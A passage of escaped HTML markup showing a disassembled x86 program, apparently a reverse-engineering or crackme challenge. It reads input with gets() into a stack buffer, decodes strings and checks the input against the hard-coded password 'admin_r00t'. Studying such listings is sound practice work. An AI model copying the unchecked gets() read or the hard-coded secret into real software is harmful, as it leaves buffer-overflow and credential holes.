[esp+1Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, ds:stdin@@GLIBC_2_0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; stream&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _fflush&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+124h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _gets&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h],&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A47&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048A0D:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+206Ch]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [eax]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmp&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+2064h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jnz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A3F&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+9Bh]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aAlertS ; "ALERT: %s\n"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048A3F:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h], 1&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048A47:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; cmp&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+2064h], 9&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jle&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048A0D&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+206Ch]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [eax]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; test&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AA9&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0B0h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0B0h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+0F9h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aSS&amp;nbsp;&amp;nbsp;&amp;nbsp; ; "%s %s\n"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+8], ebx&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AF0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048AA9:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [esp+4], offset s2 ; "admin_r00t"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+124h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&amp;nbsp;&amp;nbsp;&amp;nbsp; ; s1&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _strcmp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; test&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jnz&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AEB&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; lea&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, [esp+112h]&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; tor&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; edx, offset aS_0 ; "%s :)\n"&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp+4], eax&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; [esp], edx&amp;nbsp;&amp;nbsp;&amp;nbsp; ; format&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _printf&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 45h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; jmp&amp;nbsp;&amp;nbsp;&amp;nbsp; short loc_8048AF0&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: 